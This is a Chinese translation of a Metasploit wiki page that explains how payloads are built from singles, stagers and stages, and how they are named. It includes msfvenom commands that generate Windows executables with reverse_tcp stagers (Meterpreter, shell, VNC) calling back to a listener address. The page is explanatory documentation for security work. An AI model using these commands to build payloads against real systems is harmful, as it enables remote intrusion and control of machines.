Skip to content

Payload 是如何工作的

L edited this page May 23, 2022 · 1 revision

Payload 是如何工作的

Payload 模块存储在 modules/payloads/{singles,stages,stagers}/<platform>. 当框架启动时, stages 与 stagers 结合起来创建一个完整的有效载荷, 你可以在漏洞利用中使用. 然后, handler 与 Payload 配对, 因此框架将知道如何使用给定的通信机制创建会话.

Payload 被赋予了指示所有部分的参考名称, 如下所示:

  • Staged payload: <platform>/[arch]/<stage>/<stager>
  • Single payload: <platform>/[arch]/<single>

实际 payload 模块像 windows/x64/meterpreter/reverse_tcp. 表示平台是 windows, 架构是 x64, 我们会话最后 stage 是 meterpreter, 通过 reverse_tcp 来传递 stager.

请注意, 架构是可选的, 因为在某些情况下它不是不必要的或隐含的. 例如 php/meterpreter/reverse_tcp. PHP 有效负载不需要 Arch, 因为我们提供的是解释代码而不是原生代码.

Single

Single Payload 是即发即弃的. 他们可以使用 Metasploit 创建一种通信机制, 但并非必须如此. 一个你可能想要一个 Single Payload 的场景例子是当目标没有网络访问时——通过 USB 密钥传递的文件格式漏洞仍然可能.

Stager

Stagers 是一个小 Paylod, 旨在创建某种形式的通信, 然后将执行传递到下一个 stage. 使用 stager 解决了两个问题. 首先, 它允许我们最初使用较小的 Payload 来加载具有更多功能的较大 Payload. 其次, 它可以将通信机制与最后的 stage 分开, 因此一个 Payload 可以用于多种传输, 而无需重复代码.

Stage

由于 stager 将通过分配一大块内存供我们运行来处理任何大小限制, 因此 stage 可以任意大. 这样做的一个优点是能够用 C 等高级语言编写最终 stage 的 Payload.

传递 stage

  1. 你希望 Payload 连接回的 IP 地址和端口嵌入在 stager 中. 如上所述, 所有暂存的 Payload 都只是一个小代码, 它建立通信并执行下一个 stage. 当你使用暂存 Payload 创建可执行文件时, 你实际上只是在创建 stager. 因此, 以下命令将创建功能相同的 exe 文件:
    msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
    msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
    msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp

请注意, 这些在功能上是相同的——其中有很多随机化, 因此没有两个可执行文件完全相同. )

  1. Ruby 端充当客户端, 使用 stager 设置的任何传输机制 (例如: tcp、http、https) .
    • 在 shell stage 的情况下, Metasploit 将在你与之交互时将远程进程的 stdio 连接到你的终端.
    • Meterpreter stage 的情况下, Metasploit 将开始使用 Meterpreter 有线协议.
Clone this wiki locally